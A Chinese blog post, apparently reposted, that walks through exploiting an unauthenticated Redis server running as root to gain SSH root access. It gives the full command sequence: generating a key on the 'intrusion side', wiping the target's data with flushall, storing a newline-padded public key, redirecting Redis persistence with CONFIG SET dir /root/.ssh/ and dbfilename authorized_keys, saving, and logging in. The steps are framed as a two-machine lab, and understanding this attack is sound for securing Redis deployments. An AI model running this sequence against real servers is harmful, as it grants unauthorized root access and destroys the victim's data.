Redis 未授权漏洞利用实践

本文介绍了一种使用Redis服务器来实现两台服务器间免密钥SSH登录的方法。通过生成密钥对,并将公钥存入Redis,再利用Redis的数据持久化特性将公钥写入目标服务器的authorized_keys文件,最终实现从一台服务器免密登录另一台服务器。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

服务器准备

2台服务器

192.168.63.202 安装redis 默认端口6379 root启动redis

192.168.63.203 模拟入侵端

1、在192.168.63.203(入侵端)上生成key

输入命令:ssh-keygen,然后一路回车,在当前用户的家目录下的.ssh目录中会生成一对密钥对:id_rsa id_rsa.pub

这里我们要把公钥(id_rsa.pub)通过redis放到192.168.63.202上,从而起到免密钥登陆的效果。

#cat /root/.ssh/id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyYw4Ygqz8Bbz7Qr1sZojGjIefFzUGWQAJfX/EzhVWjSjH6HNEE3PdQXjW6esDYPcShS2eojsMuvsrCuDD7yXzHIsSsJMyAm8K7BJFyMJCsnjhzUto14snVKGhhxjrdkwfKhLMqOWA8iaUSHpIk+Aiwtdck5NSnSRg40VWYTPK/wYUoPI6fmGQ0t+9vZV1rF4eKaeR3l9EMNU+W8z5shJhVN8TMuOEcV9/ooJ2AlCKftBKc4WLgFa/FiwtTlQdxX+UFOyq3C76LqA9DDI3tY8RwCG2I89xeyzi2QwdrxYHwLBHBbaU4bmpDYMMPI6hdwlWCz8h7b7k3eycBgjisig2w== root@CentOS6.5-2

上面是我测试机生成的密钥

2、测试redis是否可以连接上

telnet 192.168.63.202 6379

redis-cli -h 192.168.63.202

3、清理redis数据库

redis-cli -h 192.168.63.202 flushall

4、处理192.168.63.203的公钥

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

为什么要这么操作?

传到192.168.63.202上的未处理过的公钥(公钥前后会加字符串,到时公钥错误)

REDIS0006redisAssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyYw4Ygqz8Bbz7Qr1sZojGjIefFzUGWQAJfX/EzhVWjSjH6HNEE3PdQXjW6esDYPcShS2eojsMuvsrCuDD7yXzHIsSsJMyAm8K7BJFyMJCsnjhzUto14snVKGhhxjrdkwfKhLMqOWA8iaUSHpIk+Aiwtdck5NSnSRg40VWYTPK/wYUoPI6fmGQ0t+9vZV1rF4eKaeR3l9EMNU+W8z5shJhVN8TMuOEcV9/ooJ2AlCKftBKc4WLgFa/FiwtTlQdxX+UFOyq3C76LqA9DDI3tY8RwCG2I89xeyzi2QwdrxYHwLBHBbaU4bmpDYMMPI6hdwlWCz8h7b7k3eycBgjisig2w== root@CentOS6.5-2

EBN7=

传到192.168.63.202上的处理过的公钥(在公钥前后都增加2个换行,这样公钥就处在了单独的一行,ssh就可以正常识别了。)

REDIS0006redisA

 

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyYw4Ygqz8Bbz7Qr1sZojGjIefFzUGWQAJfX/EzhVWjSjH6HNEE3PdQXjW6esDYPcShS2eojsMuvsrCuDD7yXzHIsSsJMyAm8K7BJFyMJCsnjhzUto14snVKGhhxjrdkwfKhLMqOWA8iaUSHpIk+Aiwtdck5NSnSRg40VWYTPK/wYUoPI6fmGQ0t+9vZV1rF4eKaeR3l9EMNU+W8z5shJhVN8TMuOEcV9/ooJ2AlCKftBKc4WLgFa/FiwtTlQdxX+UFOyq3C76LqA9DDI3tY8RwCG2I89xeyzi2QwdrxYHwLBHBbaU4bmpDYMMPI6hdwlWCz8h7b7k3eycBgjisig2w== root@CentOS6.5-2

 

ZP

5、向redis写公钥

#cat key.txt | redis-cli -h 192.168.63.202 -x set redis

正常的话会反馈OK

6、利用redis把公钥写入到文件(authorized_keys)

连接redis

# redis-cli -h 192.168.63.202

查看keys

192.168.63.202:6379> keys *
1) "redis"

#写入配置库的路径及存放位置

192.168.63.202:6379> CONFIG SET dir /root/.ssh/

OK

#写入配置库名称及存放名称

192.168.63.202:6379> CONFIG SET dbfilename "authorized_keys"

OK

#写入

192.168.63.202:6379> save

OK

#退出

192.168.63.202:6379> exit

7、测试登陆192.168.63.202(redis服务器)

ssh root@192.168.63.202

 

转载于:https://my.oschina.net/fengjihu/blog/749944

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值